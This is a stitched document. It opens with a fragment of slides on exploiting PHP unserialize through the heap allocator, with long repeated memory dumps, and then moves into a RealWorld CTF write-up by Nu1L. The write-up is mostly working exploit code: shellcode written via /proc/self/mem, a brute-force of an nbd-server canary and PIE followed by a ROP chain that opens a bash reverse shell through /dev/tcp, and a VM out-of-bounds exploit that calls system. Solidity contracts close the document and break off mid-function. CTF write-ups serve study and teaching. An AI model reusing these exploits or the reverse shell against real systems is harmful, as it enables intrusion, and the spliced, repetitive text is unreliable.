0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c53274 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c53276 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c53278 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c5327a 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c5327c 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i…
0xb5c531e0: 0xb5c5327e 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;…
0xb5c531e0: 0xb5c53280 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Code Execution
• forge a zval – override callback
• If not –write primitive
.
Exploit Take Away
• Use the allocator
• Re-usable primitives
• Primitives => remote exploit
.
Conclusions
• High level > low level
• New design – new vulns
• Exploiter friendly allocator
• unserialize => practically unauthorized RCE
.
More Info
• http://blog.checkpoint.com
• http://bugs.php.net
• https://nikic.github.io
• Contact me:
– [email protected]
– Twitter: @yannayli
– yannayl@*
QUESTIONS?
. | pdf |
RealWorld CTF WriteUp By Nu1L
RealWorld CTF WriteUp By Nu1L
Pwn
QLaaS
Who Moved My Block
SVME
Crypto
Treasure Hunter
WEB
RWDN
Hack into Skynet
Pwn
QLaaS
可以修改/proc/self/mem
#include <sys/types.h>
#include <dirent.h>
#include <sys/types.h>
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
typedef unsigned long long u64;
const unsigned char sc[]={106, 103, 72, 184, 47, 114, 101, 97, 100, 102, 108, 97, 80,
72, 137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5};
char buffer[0x4000];
int main(){
char* x=malloc(0x3fff000);
for(int i=0;i<0x3fff000;i++){
x[i]=0x90;
}
memcpy(x+0x3fff000-sizeof(sc),sc,sizeof(sc));
int fd=openat(dirfd(opendir(".")),"../../../../proc/self/maps",O_RDONLY);
read(fd,buffer,0x4000);
u64 base;
char* rwx=strstr(buffer,"rwxp")-26;
rwx[12]=0;
printf(rwx);
sscanf(rwx,"%lx",&base);
printf("leaked base %p\n",base);
int fdm=openat(dirfd(opendir(".")),"../../../../proc/self/mem",O_RDWR);
lseek(fdm,base+0x1000,SEEK_SET);
write(fdm,x,0x3fff000);
Who Moved My Block
⾸先整体浏览代码观察了⼀下流程
main→serveloop→handle_modern_connection
然后在⾥⾯会开⼀个⼦进程,执⾏
mainloop_threaded
⽤于接受后续的socket传输的信息
后续接受到的请求在封装之后传给另⼀个线程中由handle_request函数处理
分析后发现⼀个栈溢出,由于是fork的,直接多线程爆破canary与pie
}
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from threading import Thread
context.log_level = 'error'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
def Connect():
if(len(sys.argv)==1): #local
sh = remote("127.0.0.1", 10809)
else: #remtoe
sh = remote("47.242.113.232", 49235)
return sh
# 开启⼀个服务
def GetPort():
sh = remote("47.242.113.232", 31337)
# proof of work
sh.recvuntil("sha256(\"")
pre = sh.recvuntil('"+"?") starts with 26bits of ', drop=True)
print(pre)
ans = 0
while(True):
res = hashlib.sha256(pre+str(ans)).digest()
if(res[0]=='\x00' and res[1]=='\x00' and res[2]=='\x00' and
ord(res[3])&0xC0==0):
break
ans+=1
sh.sendline(str(ans))
sh.interactive()
#GetPort()
def RecvReply(sh):
sh.recvuntil(p64(0x3e889045565a9)[::-1]) # magic
opt = u32(sh.recv(4)[::-1])
reply_type = u32(sh.recv(4)[::-1])
datasize = u32(sh.recv(4)[::-1])
sleep(0.1)
data = ""
if(datasize>0):
data = sh.recv(datasize)
# print(len(data))
# print("opt: %d, reply_type: %d, datasize: %d, data: %s"%(opt, reply_type,
datasize, data))
return opt, reply_type, datasize, data
def Test(sh):
try:
sh.send(p64(0x49484156454f5054)[::-1]) # magic
sh.send(p32(0xFFFF)[::-1]) # opt
sh.send(p32(0)[::-1])
sh.send(p32(0)[::-1])
magic = p64(0x3e889045565a9)[::-1]
if(sh.recv(8)==magic):
return True
except EOFError:
return False
return True
def Overflow(sh, exp):
sh.recvuntil(p64(0x49484156454f5054)[::-1])
sh.recv(2)
sh.send(p32(0x3)[::-1]) #cflags
sh.send(p64(0x49484156454f5054)[::-1]) # magic
sh.send(p32(6)[::-1]) # opt
sh.send(p32(len(exp)+4)[::-1]) # request len
sh.send(p32(len(exp)+1)[::-1]) # name len
RecvReply(sh)
sh.send(exp)
sh.send('\x00'*(len(exp)+1))
sh.send(p16(0)[::-1]) # n_requests
RecvReply(sh)
RecvReply(sh)
res = -1
def Brute16(prefix, idx):
global res
for i in range(0, 16):
if(res!=-1):
return
sh = Connect()
exp = prefix+chr((idx<<4)+i)
Overflow(sh, exp)
if(Test(sh)):
res = (idx<<4)+i
return
sh.close()
def Brute1B(prefix):
threads = []
for i in range(16):
t = Thread(target=Brute16, args=(prefix, i))
threads.append(t)
t.start()
for t in threads:
t.join()
exp = 'A'*0x408
'''
sh = Connect()
Overflow(sh, exp+val)
print(Test(sh))
'''
# exp为前缀, 尝试爆破后8B的内容,
canary = '\x00'
# canary = p64(0x698d10a0d0798100)
while(len(canary)<8):
res = -1
Brute1B(exp+canary)
print("="*0x30+' '+str(len(canary))+' '+hex(res))
canary+= chr(res)
print(hex(u64(canary)))
def Test2(sh):
try:
tmp = sh.recv()
if(b'NBDMAGIC' in tmp):
return True
return False
except:
return False
def Brute162(prefix, idx):
global res
for i in range(0, 16):
if(res!=-1):
return
sh = Connect()
exp = prefix+chr((idx<<4)+i)
Overflow(sh, exp)
if(Test2(sh)):
res = (idx<<4)+i
return
sh.close()
def Brute1B2(prefix):
threads = []
for i in range(16):
t = Thread(target=Brute162, args=(prefix, i))
threads.append(t)
t.start()
for t in threads:
t.join()
exp = 'A'*0x408+canary+'\x00'*0x38
pie = '\x70'
# pie = p64(0x55fcd2938570)
while(len(pie)<8):
res = -1
Brute1B(exp+pie)
print("="*0x30+' '+str(len(pie))+' '+hex(res))
pie+= chr(res)
print(hex(u64(pie)))
pie = u64(pie)
elf = ELF("./nbd-server")
elf.address = pie-0x9570
SVME
stack的操作全都没有加check,很容易做
⽤load和store可以越界修改vm结构体,改了global指针后就可以任意地址读写了
success(hex(elf.address))
success(hex(pie))
success(hex(u64(canary)))
raw_input(">")
sh = Connect()
pop_rdi = 0x0000000000004a58+elf.address
read_got = elf.got['read']
system_plt = elf.plt['system']
def csu(func,rdi,rsi,rdx):
payload = p64(elf.address+0xc2aa)
payload +=
p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(func)+p64(elf.address+0xc290)
payload += p64(0)*7
return payload
exp = 'A'*0x408+canary+cyclic(0x38)+csu(read_got,4,elf.bss(0x500),0x100)
exp += p64(pop_rdi)+p64(elf.bss(0x500))+p64(system_plt)
Overflow(sh,exp)
sh.send('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"')
sh.interactive()
from pwn import *
NOOP = 0
IADD = 1 # int add
ISUB = 2
IMUL = 3
ILT = 4 # int less than
IEQ = 5 # int equal
BR = 6 # branch
BRT = 7 # branch if true
BRF = 8 # branch if true
ICONST = 9 # push constant integer
LOAD = 10 # load from local context
GLOAD = 11 # load from global memory
STORE = 12 # store in local context
GSTORE = 13 # store in global memory
PRINT = 14 # print stack top
POP = 15 # throw away top of stack
CALL = 16 # call function at address with nargs,nlocals
RET = 17 # return value from function
HALT = 18
def push(num):
opcode = b''
opcode += p32(ICONST)+p32(num)
return opcode
def pop():
return p32(POP)
def pr():
return p32(PRINT)
def gload(addr):
opcode = p32(GLOAD)+p32(addr)
return opcode
def gstore(addr):
opcode = p32(GSTORE)+p32(addr)
return opcode
def store(offset):
opcode = p32(STORE)+p32(offset)
return opcode
def load(offset):
opcode = p32(LOAD)+p32(offset)
return opcode
def add():
return p32(IADD)
def sub():
return p32(ISUB)
# s = process("./svme")
s = remote("47.243.140.252","1337")
# gdb.attach(s,"b *$rebase(0x19bf)\nc")
pop_rdi = 0x0000000000026b72
sh = 0x001b75aa
libc = ELF("../libc-2.31.so")
system = libc.sym['system']
idx = -0x90
payload = b''
payload += gload(-0x83f&0xffffffff)+gload(-0x840&0xffffffff)+push(0x218)+add() #get
stack
payload += store(-0x3e1&0xffffffff)+store(-0x3e0&0xffffffff) #set
global to stack
Crypto
Treasure Hunter
源码
payload += gload(0)+push(0x270b3)+sub()+store(0)
payload += gload(1)+store(1)
payload +=
load(0)+push(pop_rdi)+add()+gstore(idx&0xffffffff)+load(1)+gstore((idx+1)&0xffffffff)
payload +=
load(0)+push(sh)+add()+gstore((idx+2)&0xffffffff)+load(1)+gstore((idx+3)&0xffffffff)
payload +=
load(0)+push(pop_rdi+1)+add()+gstore((idx+4)&0xffffffff)+load(1)+gstore((idx+5)&0xfffff
fff)
payload +=
load(0)+push(system)+add()+gstore((idx+6)&0xffffffff)+load(1)+gstore((idx+7)&0xffffffff
)
payload += p32(HALT)
payload = payload.ljust(4*128,b'\x00')
s.send(payload)
s.interactive()
SparseMerkleTree.sol
pragma solidity >=0.8.0 <0.9.0;
uint256 constant SMT_STACK_SIZE = 32;
uint256 constant DEPTH = 160;
library SMT {
struct Leaf {
address key;
uint8 value;
}
enum Mode {
BlackList,
WhiteList
}
enum Method {
Insert,
Delete
}
function init() internal pure returns (bytes32) {
return 0;
}
function calcLeaf(Leaf memory a) internal pure returns (bytes32) {
if (a.value == 0) {
return 0;
} else {
return keccak256(abi.encode(a.key, a.value));
}
}
function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) {
if (l == 0) {
return r;
} else if (r == 0) {
return l;
} else {
return keccak256(abi.encode(l, r));
}
}
function verifyByMode(
bytes32[] memory _proofs,
address[] memory _targets,
bytes32 _expectedRoot,
Mode _mode
) internal pure returns (bool) {
Leaf[] memory leaves = new Leaf[](_targets.length);
for (uint256 i = 0; i < _targets.length; i++) {
leaves[i] = Leaf({key: _targets[i], value: uint8(_mode)});
}
return verify(_proofs, leaves, _expectedRoot);
}
function verify(
bytes32[] memory _proofs,
Leaf[] memory _leaves,
bytes32 _expectedRoot
) internal pure returns (bool) {
return (calcRoot(_proofs, _leaves, _expectedRoot) == _expectedRoot);
}
function updateSingleTarget(
bytes32[] memory _proofs,
address _target,
bytes32 _prevRoot,
Method _method
) internal pure returns (bytes32) {
Leaf[] memory nextLeaves = new Leaf[](1);
Leaf[] memory prevLeaves = new Leaf[](1);
nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1});
prevLeaves[0] = Leaf({key: _target, value: uint8(_method)});
return update(_proofs, nextLeaves, prevLeaves, _prevRoot);
}
function update(
bytes32[] memory _proofs,
Leaf[] memory _nextLeaves,
Leaf[] memory _prevLeaves,
bytes32 _prevRoot
) internal pure returns (bytes32) {
require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid");
return calcRoot(_proofs, _nextLeaves, _prevRoot);
}
function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) {
require(_leaves.length >= 1);
uint160 temp = 0;
for (uint256 i = 0; i < _leaves.length; i++) {
if (temp >= uint160(_leaves[i].key)) {
return false;
}
temp = uint160(_leaves[i].key);
}
return true;
}
function getBit(uint160 key, uint256 height) internal pure returns (uint256) {
require(height <= DEPTH);
return (key >> height) & 1;
}
function parentPath(uint160 key, uint256 height) internal pure returns (uint160) {
require(height <= DEPTH);
return copyBit(key, height + 1);
}
function copyBit(uint160 key, uint256 height) internal pure returns (uint160) {
require(height <= DEPTH);
return ((key >> height) << height);
}
function calcRoot(
bytes32[] memory _proofs,
Leaf[] memory _leaves,
bytes32 _root
) internal pure returns (bytes32) {
require(checkGroupSorted(_leaves));
uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE);
bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE);
uint256 proofIndex = 0;
uint256 leaveIndex = 0;
uint256 stackTop = 0;
while (proofIndex < _proofs.length) {
if (uint256(_proofs[proofIndex]) == 0x4c) {
proofIndex++;
require(stackTop < SMT_STACK_SIZE);
require(leaveIndex < _leaves.length);
stackKeys[stackTop] = uint160(_leaves[leaveIndex].key);
stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]);
stackTop++;
leaveIndex++;
} else if (uint256(_proofs[proofIndex]) == 0x50) {
proofIndex++;
require(stackTop != 0);
require(proofIndex + 2 <= _proofs.length);
uint256 height = uint256(_proofs[proofIndex++]);
bytes32 currentProof = _proofs[proofIndex++];
require(currentProof != _root);
if (getBit(stackKeys[stackTop - 1], height) == 1) {
stackValues[stackTop - 1] = merge(currentProof,
stackValues[stackTop - 1]);
} else {
stackValues[stackTop - 1] = merge(stackValues[stackTop - 1],
currentProof);
}
stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
} else if (uint256(_proofs[proofIndex]) == 0x48) {
proofIndex++;
require(stackTop >= 2);
require(proofIndex < _proofs.length);
uint256 height = uint256(_proofs[proofIndex++]);
uint256 aSet = getBit(stackKeys[stackTop - 2], height);
uint256 bSet = getBit(stackKeys[stackTop - 1], height);
stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height);
stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet !=
bSet);
if (aSet == 1) {
stackValues[stackTop - 2] = merge(
stackValues[stackTop - 1],
stackValues[stackTop - 2]
);
} else {
stackValues[stackTop - 2] = merge(
stackValues[stackTop - 2],
stackValues[stackTop - 1]
);
}
stackTop -= 1;
} else {
revert();
}
}
require(leaveIndex == _leaves.length);
require(stackTop == 1);
return stackValues[0];
}
}
TreasureHunter.sol
pragma solidity >=0.8.0 <0.9.0;
import {SMT} from "./SparseMerkleTree.sol";
contract TreasureHunter {
bytes32 public root;
SMT.Mode public smtMode = SMT.Mode.WhiteList;
bool public solved = false;
mapping(address => bool) public haveKey;
mapping(address => bool) public haveTreasureChest;
event FindKey(address indexed _from);
event PickupTreasureChest(address indexed _from);
event OpenTreasureChest(address indexed _from);
constructor() public {
root = SMT.init();
_init();
}
function _init() internal {
address[] memory hunters = new address[](8);
hunters[0] = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e;
hunters[1] = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
hunters[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
hunters[3] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;
hunters[4] = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
hunters[5] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
hunters[6] = 0xD533a949740bb3306d119CC777fa900bA034cd52;
hunters[7] = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
SMT.Leaf[] memory nextLeaves = new SMT.Leaf[](8);
SMT.Leaf[] memory prevLeaves = new SMT.Leaf[](8);
for (uint8 i = 0; i < hunters.length; i++) {
nextLeaves[i] = SMT.Leaf({key: hunters[i], value: 1});
prevLeaves[i] = SMT.Leaf({key: hunters[i], value: 0});
}
bytes32[] memory proof = new bytes32[](22);
proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[1] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[2] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[3] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000095;
proof[6] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[7] = 0x0000000000000000000000000000000000000000000000000000000000000099;
proof[8] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[9] = 0x000000000000000000000000000000000000000000000000000000000000009e;
proof[10] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[11] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[12] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[13] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[14] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[15] = 0x000000000000000000000000000000000000000000000000000000000000009b;
proof[16] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[17] = 0x000000000000000000000000000000000000000000000000000000000000009c;
proof[18] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[19] = 0x000000000000000000000000000000000000000000000000000000000000009e;
proof[20] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[21] = 0x000000000000000000000000000000000000000000000000000000000000009f;
root = SMT.update(proof, nextLeaves, prevLeaves, root);
}
function enter(bytes32[] memory _proofs) public {
require(haveKey[msg.sender] == false);
root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert);
}
function leave(bytes32[] memory _proofs) public {
require(haveTreasureChest[msg.sender] == false);
root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete);
}
function findKey(bytes32[] memory _proofs) public {
require(smtMode == SMT.Mode.BlackList, "not blacklist mode");
address[] memory targets = new address[](1);
targets[0] = msg.sender;
0x4c:计算叶⼦节点
0x50:合并⼀个叶⼦结点与⼀个给出的_proof
0x48:在height位置合并两个计算出的值
exp:
require(SMT.verifyByMode(_proofs, targets, root, smtMode), "hunter has fallen
into a trap");
haveKey[msg.sender] = true;
smtMode = SMT.Mode.WhiteList;
emit FindKey(msg.sender);
}
function pickupTreasureChest(bytes32[] memory _proofs) public {
require(smtMode == SMT.Mode.WhiteList, "not whitelist mode");
address[] memory targets = new address[](1);
targets[0] = msg.sender;
require(
SMT.verifyByMode(_proofs, targets, root, smtMode),
"hunter hasn't found the treasure chest"
);
haveTreasureChest[msg.sender] = true;
smtMode = SMT.Mode.BlackList;
emit PickupTreasureChest(msg.sender);
}
function openTreasureChest() public {
